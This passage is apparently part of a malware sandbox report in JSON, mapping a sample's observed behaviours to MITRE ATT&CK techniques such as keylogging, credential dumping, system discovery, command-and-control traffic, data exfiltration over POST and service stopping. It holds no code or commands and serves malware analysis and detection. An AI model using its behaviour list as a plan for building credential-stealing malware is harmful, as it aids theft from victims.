calls"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"},{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"},{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"},{"type":"informative","value":"Contains ability to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Credential Access","technique":"Input Capture","attack_id":"T1056","attack_id_wiki":"https://attack.mitre.org/techniques/T1056","identifiers":[{"type":"informative","value":"Contains ability to register/read input devices (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Contains ability to retrieve information about MS-DOS device names (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to query volume/memory size (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Contains ability to find logical drives of the machine (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Contains ability to retrieve the host name of a computer (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Found system command-related strings"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Contains reference to Borland Delphi related registry entry"},{"type":"informative","value":"Queries for Borland Delphi related registry entry"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Found registry location strings in memory"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query the system locale"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files"},{"type":"informative","value":"Contains ability to retrieve files based on search patterns"},{"type":"informative","value":"Creates file in AppData directory"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Able to determine the valid logical drives on the computer"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Touches files in program files directory"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Contains references to file movement (imports API)"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Contains ability to enumerates all mounted drives"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Contains ability to query machine time"},{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Calls an API used to retrieve process information"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Calls an APIs used to retrieve process information"},{"type":"informative","value":"Contains ability to retrieve process ID (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Contains ability to retrieve system language"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to query service configuration on system (API string)"},{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate logon sessions (API string)"},{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Imports windows networking-related APIs"},{"type":"informative","value":"Able to access Windows networking-related API (String)"},{"type":"informative","value":"Contains ability to provide information and utilities for managing network resources (API string)"},{"type":"informative","value":"Contains ability to query information about shared network resources (API string)"},{"type":"informative","value":"Contains ability to enumerate system network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Calls an API typically used to get handle of currently active window"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve system network configuration"},{"type":"informative","value":"Contains ability to retrieve internet settings (API string)"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"},{"type":"informative","value":"Contains ability to query network adapter information (API string)"},{"type":"informative","value":"Contains ability to retrieve configuration of a workstation (API string)"},{"type":"informative","value":"Contains ability to retrieve network parameters of a computer (API string)"},{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"},{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Loads the debugger/analysis tool module"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Discovery","technique":"Cloud Groups","attack_id":"T1069.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/003","identifiers":[{"type":"informative","value":"May be able to execute Exchange Online Remote PowerShell Modulee"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Contains ability to retrieve remote session information (API string)"},{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Discovery","technique":"Wi-Fi Discovery","attack_id":"T1016.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1016/002","identifiers":[{"type":"informative","value":"Contains Wi-Fi native api calls"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"informative","value":"Imports network management related APIs"},{"type":"informative","value":"Contains ability to retrieve information about user accounts on a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Lateral Movement","technique":"RDP Hijacking","attack_id":"T1563.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1563/002","identifiers":[{"type":"informative","value":"Able to access a remote server session"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"},{"type":"informative","value":"Calls an API typically used to move file or directory"},{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1021.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/001","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Creates directory on disk"},{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"},{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"},{"type":"informative","value":"Able to capture drag-drop file operations"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"},{"type":"suspicious","value":"Contains ability to find and load resources of a specific module"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Collection","technique":"Data Staged","attack_id":"T1074","attack_id_wiki":"https://attack.mitre.org/techniques/T1074","identifiers":[{"type":"informative","value":"Able to aggregate collected data, possibly for exfiltration"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops a Windows setup information (INF) file"},{"type":"informative","value":"Drops temp files"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"},{"type":"suspicious","value":"Writes a PE file header to disc"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"malicious","value":"Found unknown user-agent(s)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"Contains reference to Windows HTTP services (API string)"},{"type":"informative","value":"Contains ability to set options for internet handles (API string)"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"informative","value":"Found user-agent related strings"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a webserver"},{"type":"malicious","value":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Contains ability to stop windows services"},{"type":"informative","value":"Calls an API used to open a process handle"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"},{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Impact","technique":"Endpoint Denial of Service","attack_id":"T1499","attack_id_wiki":"https://attack.mitre.org/techniques/T1499","identifiers":[{"type":"informative","value":"Contains ability to lock the workstation's display (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Impact","technique":"Data Destruction","attack_id":"T1485","attack_id_wiki":"https://attack.mitre.org/techniques/T1485","identifiers":[{"type":"informative","value":"Contains ability to delete device information set (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"tactic":"Execution","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket 